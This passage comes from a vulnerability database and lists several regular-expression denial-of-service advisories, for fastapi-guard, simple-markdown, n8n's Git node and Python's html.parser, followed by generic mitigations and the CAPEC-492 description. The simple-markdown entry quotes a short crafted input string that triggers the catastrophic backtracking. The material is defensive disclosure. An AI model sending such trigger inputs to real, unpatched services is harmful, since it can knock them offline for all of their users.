      "url": "https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-j47q-rc62-w448"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53539"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rennf93/fastapi-guard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "fastapi-guard is vulnerable to ReDoS through inefficient regex"
}

GHSA-J533-2G8V-PMPG

Vulnerability from github – Published: 2023-02-12 15:30 – Updated: 2023-02-22 16:31
VLAI
Summary
Regular Expression Denial of Service in simple-markdown
Details

A vulnerability, which was classified as problematic, was found in simple-markdown 0.6.0. Affected is an unknown function of the file simple-markdown.js. The manipulation with the input <<<<<<<<<<:/:/:/:/:/:/:/:/:/:/ leads to inefficient regular expression complexity. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 0.6.1 is able to address this issue. The name of the patch is 015a719bf5cdc561feea05500ecb3274ef609cd2. It is recommended to upgrade the affected component. VDB-220638 is the identifier assigned to this vulnerability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "simple-markdown"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-25102"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-14T00:57:45Z",
    "nvd_published_at": "2023-02-12T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability, which was classified as problematic, was found in simple-markdown 0.6.0. Affected is an unknown function of the file simple-markdown.js. The manipulation with the input \u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c:/:/:/:/:/:/:/:/:/:/ leads to inefficient regular expression complexity. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 0.6.1 is able to address this issue. The name of the patch is 015a719bf5cdc561feea05500ecb3274ef609cd2. It is recommended to upgrade the affected component. VDB-220638 is the identifier assigned to this vulnerability.",
  "id": "GHSA-j533-2g8v-pmpg",
  "modified": "2023-02-22T16:31:59Z",
  "published": "2023-02-12T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25102"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ariabuckles/simple-markdown/pull/73"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ariabuckles/simple-markdown/commit/015a719bf5cdc561feea05500ecb3274ef609cd2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ariabuckles/simple-markdown"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ariabuckles/simple-markdown/releases/tag/0.6.1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.220638"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.220638"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in simple-markdown"
}

GHSA-J535-V25Q-VX3Q

Vulnerability from github – Published: 2026-09-10 15:12 – Updated: 2026-09-10 15:12
VLAI
Summary
n8n: Regular Expression Denial of Service in the Default Blocked-File-Pattern Match via a Git Node Clone Path
Details

Impact

The Git node's clone operation matched the destination path against the default N8N_BLOCK_FILE_PATTERNS expression, which was written so that a crafted path caused catastrophic backtracking. Evaluation runs synchronously in the main n8n process, so an authenticated user could freeze the instance for everyone with a single workflow execution and no unusual configuration. The patch rewrites the pattern so that matching is linear in the length of the path.

Patches

The issue has been fixed in n8n versions 1.123.76, 2.37.7, and 2.38.2. Users should upgrade to one of these versions or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Restrict n8n instance access to fully trusted users only. - Disable the Git node by adding n8n-nodes-base.git to the NODES_EXCLUDE environment variable. - Set N8N_BLOCK_FILE_PATTERNS to a backtracking-safe equivalent pattern to replace the vulnerable default.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.123.76"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.38.0"
            },
            {
              "fixed": "2.38.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.37.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86081"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T15:12:00Z",
    "nvd_published_at": "2026-09-08T22:19:17Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nThe Git node\u0027s clone operation matched the destination path against the default `N8N_BLOCK_FILE_PATTERNS` expression, which was written so that a crafted path caused catastrophic backtracking. Evaluation runs synchronously in the main n8n process, so an authenticated user could freeze the instance for everyone with a single workflow execution and no unusual configuration. The patch rewrites the pattern so that matching is linear in the length of the path.\n\n## Patches\n\nThe issue has been fixed in n8n versions 1.123.76, 2.37.7, and 2.38.2. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\n\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Restrict n8n instance access to fully trusted users only.\n- Disable the Git node by adding `n8n-nodes-base.git` to the `NODES_EXCLUDE` environment variable.\n- Set `N8N_BLOCK_FILE_PATTERNS` to a backtracking-safe equivalent pattern to replace the vulnerable default.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-j535-v25q-vx3q",
  "modified": "2026-09-10T15:12:00Z",
  "published": "2026-09-10T15:12:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-j535-v25q-vx3q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86081"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@1.123.76"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.37.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.38.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n: Regular Expression Denial of Service in the Default Blocked-File-Pattern Match via a Git Node Clone Path"
}

GHSA-J5CC-6RX8-FF96

Vulnerability from github – Published: 2025-06-17 15:31 – Updated: 2025-07-07 18:32
VLAI
Details

The html.parser.HTMLParser class had worse-case quadratic complexity when processing certain crafted malformed inputs potentially leading to amplified denial-of-service.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-6069"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-17T14:15:33Z",
    "severity": "MODERATE"
  },
  "details": "The html.parser.HTMLParser class had worse-case quadratic complexity when processing certain crafted malformed inputs potentially leading to amplified denial-of-service.",
  "id": "GHSA-j5cc-6rx8-ff96",
  "modified": "2025-07-07T18:32:21Z",
  "published": "2025-06-17T15:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6069"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/issues/135462"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/pull/135464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/4455cbabf991e202185a25a631af206f60bbc949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/6eb6c5dbfb528bd07d77b60fd71fd05d81d45c41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/8d1b3dfa09135affbbf27fb8babcf3c11415df49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/ab0893fd5c579d9cea30841680e6d35fc478afb5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/d851f8e258c7328814943e923a7df81bca15df4b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/f3c6f882cddc8dc30320d2e73edf019e201394fc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/fdc9d214c01cb4588f540cfa03726bbf2a33fc15"
    },
    {
      "type": "WEB",
      "url": "https://mail.python.org/archives/list/security-announce@python.org/thread/K5PIYLR6EP3WR7ZOKKYQUWEDNQVUXOYM"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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